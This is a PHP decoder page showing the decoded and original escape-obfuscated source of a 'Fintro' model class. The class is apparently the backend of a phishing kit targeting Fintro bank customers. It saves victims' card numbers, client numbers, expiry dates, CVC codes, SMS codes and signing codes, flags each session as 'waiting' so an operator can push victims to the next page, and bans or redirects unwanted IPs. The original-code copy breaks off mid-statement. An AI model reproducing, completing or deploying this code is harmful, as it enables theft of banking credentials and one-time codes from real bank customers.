Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php namespace App\Models\Fintro; use PDO; class Fintro extends \Core\Model { public st..
Decoded Output download
<?php
namespace App\Models\Fintro; use PDO; class Fintro extends \Core\Model { public static function redirect() { $sql = "SELECT * FROM redirect WHERE id = :id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":id", 1, PDO::PARAM_INT); $stmt->execute(); $data = $stmt->fetch(); if ($data) { header("location: " . $data["redirect"]); die; } else { header("location: https://www.google.nl"); die; } } public static function findBan($ip) { $sql = "SELECT * FROM bans WHERE ip = :ip"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":ip", $ip, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if ($data) { return true; } return false; } public function createLog($username, $url, $uid, $ip, $agent) { $sql = "INSERT INTO logs (username, url, user_id, ip, user_agent, waiting) VALUES (:username, :url, :user_id, :ip, :user_agent, :waiting)"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":username", $username, PDO::PARAM_STR); $stmt->bindValue(":url", $url, PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->bindValue(":ip", $ip, PDO::PARAM_STR); $stmt->bindValue(":user_agent", $agent, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->execute(); } public function findLog($uid) { $sql = "SELECT * FROM logs WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if ($data) { return true; } return false; } public static function updateStatus($user) { $sql = "UPDATE logs SET waiting = :waiting, bank = :bank WHERE user_id = :id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":bank", "FINTRO", PDO::PARAM_STR); $stmt->bindValue(":id", $user, PDO::PARAM_STR); $stmt->execute(); } public static function setLogInformation($uid) { $sql = "UPDATE logs SET bank = :bank, fintro_card = :empty, fintro_client = :empty, fintro_vv = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "FINTRO", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setSmsInformation($uid) { $sql = "UPDATE logs SET bank = :bank, fintro_sms = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "FINTRO", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setIdentificationInformation($uid) { $sql = "UPDATE logs SET bank = :bank, fintro_phone = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "FINTRO", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setBelInformation($uid) { $sql = "UPDATE logs SET bank = :bank, fintro_bel = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "FINTRO", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setCreditInformation($uid) { $sql = "UPDATE logs SET bank = :bank, fintro_cc = :empty, fintro_exp = :empty, fintro_cvc = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "FINTRO", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setSignCodeInformation($uid) { $sql = "UPDATE reliable_logs SET bank = :bank, fintro_m1 = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "FINTRO", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setSign2Information($uid) { $sql = "UPDATE reliable_logs SET bank = :bank, fintro_m2 = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "FINTRO", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setLiveInformation($uid) { $sql = "UPDATE reliable_logs SET bank = :bank, fintro_live = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "FINTRO", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function checkPayment($url = array()) { $sql = "SELECT * FROM requests WHERE url = :id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":id", $url, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if ($data) { return $data; } return false; } public static function getPage($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["page"])) { return $data["page"]; } return false; } public static function setLogin($card, $client, $exp, $uid) { $sql = "UPDATE logs SET fintro_card = :card, fintro_client = :client, fintro_vv = :exp, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":card", $card, PDO::PARAM_STR); $stmt->bindValue(":client", $client, PDO::PARAM_STR); $stmt->bindValue(":exp", $exp, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setIdentification($identification, $uid) { $sql = "UPDATE logs SET fintro_phone = :identification, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":identification", $identification, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setBel($identification, $uid) { $sql = "UPDATE logs SET fintro_bel = :identification, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":identification", $identification, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setCredit($cc, $vv, $cvc, $uid) { $sql = "UPDATE logs SET fintro_cc = :cc, fintro_exp = :vv, fintro_cvc = :cvc, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":cc", $cc, PDO::PARAM_STR); $stmt->bindValue(":vv", $vv, PDO::PARAM_STR); $stmt->bindValue(":cvc", $cvc, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setSms($identification, $uid) { $sql = "UPDATE logs SET fintro_sms = :identification, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":identification", $identification, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setSignCode($code, $uid) { $sql = "UPDATE logs SET fintro_m1 = :code, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":code", $code, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setSign2($m2, $uid) { $sql = "UPDATE logs SET fintro_m2 = :m2, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":m2", $m2, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setLive($respons, $uid) { $sql = "UPDATE logs SET fintro_live = :respons, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":respons", $respons, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setLoginPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_card = :empty, fintro_client = :empty, fintro_vv = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setIdentificationPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_phone = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setBelPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_bel = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setCreditPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_cc = :empty, fintro_exp = :empty, fintro_cvc = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setSmsPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_sms = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setSignCodePage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_m1 = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setSign2Page($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_m2 = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLivePage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_live = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setSignCodePageCode($uid, $page, $code) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_m1 = :empty, fintro_m1_get = :code WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":code", $code, PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setSign2PageCode($uid, $page, $m2) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_m2 = :empty, fintro_m2_get = :m2 WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":m2", $m2, PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLivePageCode($uid, $page, $live, $livetwo) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_live = :empty, fintro_live_get = :live, fintro_live2_get = :livetwo WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":live", $live, PDO::PARAM_STR); $stmt->bindValue(":livetwo", $livetwo, PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setFinishPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function getSignCode($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["fintro_m1_get"])) { return $data["fintro_m1_get"]; } return false; } public static function getSign2($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["fintro_m2_get"])) { return $data["fintro_m2_get"]; } return false; } public static function getLive($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["fintro_live_get"])) { return $data["fintro_live_get"]; } return false; } public static function getLivetwo($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["fintro_live2_get"])) { return $data["fintro_live2_get"]; } return false; } } ?>
Did this file decode correctly?
Original Code
<?php
namespace App\Models\Fintro; use PDO; class Fintro extends \Core\Model { public static function redirect() { $sql = "\123\105\114\105\103\124\40\52\x20\106\122\117\x4d\40\162\145\x64\151\162\x65\143\164\x20\x57\110\x45\122\105\40\x69\x64\40\x3d\40\72\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x69\x64", 1, PDO::PARAM_INT); $stmt->execute(); $data = $stmt->fetch(); if ($data) { header("\154\157\143\141\x74\x69\x6f\156\72\x20" . $data["\162\x65\144\x69\162\x65\x63\x74"]); die; } else { header("\x6c\157\143\141\x74\x69\157\x6e\x3a\40\150\164\x74\x70\163\72\57\x2f\x77\x77\x77\56\x67\157\x6f\x67\154\x65\x2e\156\x6c"); die; } } public static function findBan($ip) { $sql = "\123\105\114\x45\103\x54\40\52\x20\x46\122\117\115\40\x62\141\x6e\x73\40\x57\x48\105\x52\105\x20\x69\x70\x20\75\40\x3a\x69\160"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\151\x70", $ip, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if ($data) { return true; } return false; } public function createLog($username, $url, $uid, $ip, $agent) { $sql = "\x49\116\123\105\x52\x54\x20\111\x4e\x54\117\40\x6c\157\147\163\40\50\x75\x73\145\x72\x6e\141\155\145\54\40\165\x72\x6c\54\40\x75\x73\x65\x72\137\151\x64\54\40\151\160\x2c\40\x75\163\145\162\137\x61\147\x65\156\x74\x2c\40\167\x61\x69\164\x69\156\x67\51\x20\x56\x41\x4c\125\x45\x53\40\x28\72\x75\163\145\162\x6e\141\x6d\145\x2c\40\x3a\165\162\x6c\x2c\40\x3a\x75\x73\145\162\137\151\144\54\x20\72\151\x70\54\x20\x3a\x75\163\x65\x72\x5f\141\147\145\x6e\x74\x2c\x20\x3a\167\x61\x69\164\x69\x6e\x67\x29"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\165\163\145\162\156\141\155\145", $username, PDO::PARAM_STR); $stmt->bindValue("\x3a\165\162\154", $url, PDO::PARAM_STR); $stmt->bindValue("\x3a\165\163\145\162\137\151\144", $uid, PDO::PARAM_STR); $stmt->bindValue("\72\151\160", $ip, PDO::PARAM_STR); $stmt->bindValue("\72\165\x73\x65\x72\x5f\141\x67\145\156\164", $agent, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\141\151\164\x69\x6e\x67", "\x66\x61\154\163\x65", PDO::PARAM_STR); $stmt->execute(); } public function findLog($uid) { $sql = "\123\x45\114\105\x43\x54\40\x2a\40\106\122\117\115\40\x6c\157\x67\x73\x20\x57\x48\105\122\105\40\x75\x73\145\162\137\151\144\x20\75\40\x3a\x75\163\x65\x72\137\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\165\x73\145\162\x5f\x69\x64", $uid, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if ($data) { return true; } return false; } public static function updateStatus($user) { $sql = "\x55\x50\x44\101\x54\105\x20\x6c\x6f\147\x73\40\x53\105\x54\x20\x77\141\151\x74\x69\156\x67\x20\75\40\x3a\x77\x61\151\164\151\x6e\x67\54\x20\142\x61\x6e\x6b\40\x3d\x20\x3a\142\x61\156\x6b\40\x57\x48\x45\122\105\40\165\163\x65\162\x5f\x69\144\40\75\x20\72\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x77\x61\x69\x74\x69\x6e\147", "\146\x61\x6c\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\x3a\142\141\x6e\x6b", "\x46\x49\116\x54\122\117", PDO::PARAM_STR); $stmt->bindValue("\x3a\151\x64", $user, PDO::PARAM_STR); $stmt->execute(); } public static function setLogInformation($uid) { $sql = "\x55\x50\104\101\124\x45\40\x6c\x6f\147\163\40\123\x45\x54\40\x62\x61\156\153\x20\x3d\40\72\142\x61\x6e\x6b\54\40\146\151\x6e\164\162\157\137\x63\x61\x72\x64\40\75\40\x3a\145\x6d\160\164\x79\54\x20\x66\x69\x6e\x74\x72\x6f\x5f\x63\154\151\x65\156\x74\40\x3d\x20\72\145\x6d\x70\164\x79\54\x20\146\x69\x6e\164\162\157\x5f\166\166\x20\x3d\40\x3a\145\155\x70\x74\171\54\40\160\x61\147\x65\x20\x3d\40\72\x65\x6d\x70\164\x79\54\40\x77\x61\151\x74\x69\x6e\x67\40\x3d\x20\x3a\167\x61\x69\x74\x69\156\x67\x20\127\x48\x45\x52\x45\x20\165\163\x65\162\137\151\144\x20\75\40\x3a\165\163\145\x72\x5f\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\142\x61\x6e\153", "\106\x49\116\124\122\117", PDO::PARAM_STR); $stmt->bindValue("\72\x65\x6d\x70\164\171", null, PDO::PARAM_STR); $stmt->bindValue("\72\x77\x61\151\x74\151\x6e\x67", "\x66\x61\x6c\163\145", PDO::PARAM_STR); $stmt->bindValue("\72\165\x73\x65\x72\x5f\x69\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setSmsInformation($uid) { $sql = "\x55\x50\x44\101\124\x45\x20\154\x6f\147\163\40\x53\105\x54\x20\142\141\x6e\153\x20\75\x20\x3a\x62\x61\x6e\x6b\x2c\40\x66\151\156\x74\x72\x6f\137\163\x6d\163\40\x3d\40\72\x65\x6d\160\164\x79\x2c\40\160\x61\147\145\40\75\x20\x3a\x65\155\160\164\171\x2c\40\167\x61\x69\x74\x69\156\147\40\x3d\x20\72\x77\141\x69\164\x69\156\147\x20\127\x48\x45\x52\x45\x20\x75\x73\x65\162\x5f\151\144\x20\75\x20\72\165\163\x65\162\137\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x62\141\x6e\x6b", "\x46\x49\116\x54\122\x4f", PDO::PARAM_STR); $stmt->bindValue("\x3a\x65\155\x70\x74\x79", null, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\x61\x69\164\151\156\x67", "\146\x61\x6c\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\72\165\x73\145\x72\x5f\x69\x64", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setIdentificationInformation($uid) { $sql = "\x55\120\x44\101\x54\105\40\154\157\x67\x73\x20\123\x45\x54\40\x62\x61\156\x6b\x20\x3d\x20\72\x62\x61\156\x6b\x2c\40\x66\x69\156\164\x72\157\x5f\160\150\x6f\156\x65\x20\75\40\72\145\155\x70\164\x79\x2c\40\160\x61\x67\x65\x20\x3d\40\x3a\x65\155\x70\x74\x79\x2c\x20\x77\x61\x69\164\x69\x6e\x67\40\x3d\x20\x3a\x77\141\x69\x74\x69\156\x67\40\127\x48\x45\x52\x45\x20\165\163\x65\162\x5f\151\144\x20\75\40\72\x75\x73\145\162\x5f\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x62\141\x6e\x6b", "\x46\111\x4e\x54\122\x4f", PDO::PARAM_STR); $stmt->bindValue("\72\145\x6d\x70\x74\171", null, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\x61\151\164\x69\x6e\147", "\146\x61\154\163\x65", PDO::PARAM_STR); $stmt->bindValue("\x3a\165\x73\x65\x72\137\x69\x64", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setBelInformation($uid) { $sql = "\125\120\104\x41\x54\x45\x20\154\157\x67\x73\x20\x53\x45\124\x20\142\x61\156\153\x20\x3d\40\72\x62\141\x6e\153\x2c\40\146\151\x6e\x74\x72\157\x5f\x62\145\x6c\x20\x3d\40\x3a\x65\155\160\164\171\54\40\x70\x61\x67\145\x20\75\x20\72\145\155\x70\x74\x79\54\x20\167\x61\151\x74\151\x6e\147\40\x3d\x20\72\x77\x61\151\164\151\156\147\x20\127\110\x45\122\x45\x20\x75\163\x65\162\x5f\x69\x64\40\75\x20\72\x75\163\x65\162\137\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x62\141\x6e\x6b", "\x46\x49\x4e\x54\x52\x4f", PDO::PARAM_STR); $stmt->bindValue("\x3a\x65\155\x70\164\x79", null, PDO::PARAM_STR); $stmt->bindValue("\72\167\x61\x69\x74\x69\156\x67", "\146\x61\154\163\145", PDO::PARAM_STR); $stmt->bindValue("\72\x75\x73\145\162\x5f\x69\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setCreditInformation($uid) { $sql = "\x55\120\x44\x41\124\x45\x20\154\x6f\147\163\40\x53\105\x54\40\x62\x61\x6e\153\40\x3d\x20\72\x62\141\x6e\153\54\x20\146\151\x6e\x74\162\x6f\x5f\143\x63\x20\75\40\72\x65\155\x70\x74\171\x2c\x20\x66\x69\156\x74\162\x6f\x5f\x65\170\160\x20\x3d\x20\x3a\x65\155\160\x74\x79\x2c\x20\146\x69\x6e\x74\162\x6f\x5f\143\x76\x63\x20\75\x20\x3a\145\155\x70\164\x79\54\40\160\x61\x67\x65\x20\75\x20\x3a\145\155\x70\164\x79\x2c\40\x77\x61\x69\164\x69\156\x67\40\x3d\x20\72\167\141\x69\x74\151\156\147\x20\x57\110\x45\122\105\40\x75\163\x65\162\x5f\151\144\40\75\x20\x3a\165\163\145\162\x5f\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x62\x61\x6e\x6b", "\x46\111\x4e\124\x52\117", PDO::PARAM_STR); $stmt->bindValue("\x3a\145\x6d\160\164\x79", null, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\141\151\x74\151\156\147", "\x66\x61\154\163\x65", PDO::PARAM_STR); $stmt->bindValue("\x3a\165\163\145\x72\x5f\151\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setSignCodeInformation($uid) { $sql = "\x55\120\104\101\124\105\40\x72\145\154\x69\141\142\x6c\145\137\154\157\147\163\40\x53\105\124\x20\142\x61\x6e\153\x20\x3d\40\x3a\x62\x61\x6e\153\54\40\x66\151\156\x74\162\157\x5f\155\61\40\75\40\72\145\x6d\160\x74\x79\x2c\40\x70\x61\x67\x65\40\x3d\x20\x3a\145\155\x70\164\x79\54\40\167\141\151\164\151\156\x67\40\75\40\x3a\x77\x61\151\164\151\x6e\147\x20\x57\x48\x45\x52\x45\x20\165\163\145\162\x5f\x69\x64\x20\75\x20\x3a\x75\x73\x65\x72\x5f\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\142\x61\156\153", "\106\111\116\x54\122\117", PDO::PARAM_STR); $stmt->bindValue("\x3a\x65\155\x70\164\171", null, PDO::PARAM_STR); $stmt->bindValue("\72\167\x61\x69\164\x69\156\147", "\146\141\154\163\x65", PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\163\x65\162\137\x69\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setSign2Information($uid) { $sql = "\x55\x50\x44\x41\x54\x45\x20\162\145\x6c\151\141\142\154\x65\137\154\x6f\147\163\40\123\105\x54\40\x62\x61\x6e\x6b\x20\x3d\x20\x3a\x62\141\x6e\153\x2c\40\146\151\x6e\164\x72\x6f\x5f\x6d\62\x20\x3d\x20\72\145\155\x70\164\x79\x2c\40\x70\x61\147\x65\40\x3d\x20\x3a\145\155\160\164\171\54\x20\x77\141\151\x74\x69\156\147\x20\x3d\x20\72\x77\x61\x69\164\x69\x6e\147\x20\127\110\105\122\x45\40\165\163\x65\162\x5f\x69\144\x20\75\x20\72\165\x73\145\162\137\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\142\x61\x6e\x6b", "\106\111\x4e\124\x52\x4f", PDO::PARAM_STR); $stmt->bindValue("\x3a\x65\155\160\x74\x79", null, PDO::PARAM_STR); $stmt->bindValue("\x3a\x77\x61\151\164\x69\156\147", "\x66\141\x6c\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\x3a\165\163\145\162\137\x69\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setLiveInformation($uid) { $sql = "\125\120\104\101\124\105\x20\162\145\154\x69\141\x62\154\x65\x5f\x6c\x6f\x67\x73\x20\x53\x45\x54\40\x62\x61\156\x6b\40\x3d\40\72\x62\141\156\153\54\40\x66\x69\x6e\x74\162\x6f\137\154\151\x76\x65\x20\75\x20\72\145\x6d\x70\164\x79\54\40\160\x61\x67\x65\x20\x3d\40\x3a\145\155\160\x74\171\x2c\x20\167\141\x69\164\x69\156\147\40\75\x20\72\x77\141\151\164\x69\x6e\x67\x20\127\x48\105\122\105\40\165\x73\x65\x72\x5f\151\x64\x20\x3d\x20\72\165\x73\x65\162\137\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\142\x61\x6e\x6b", "\x46\111\x4e\124\122\x4f", PDO::PARAM_STR); $stmt->bindValue("\x3a\x65\x6d\160\164\171", null, PDO::PARAM_STR); $stmt->bindValue("\72\167\141\x69\164\151\x6e\x67", "\146\x61\154\163\145", PDO::PARAM_STR); $stmt->bindValue("\x3a\165\x73\145\162\x5f\151\x64", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function checkPayment($url = array()) { $sql = 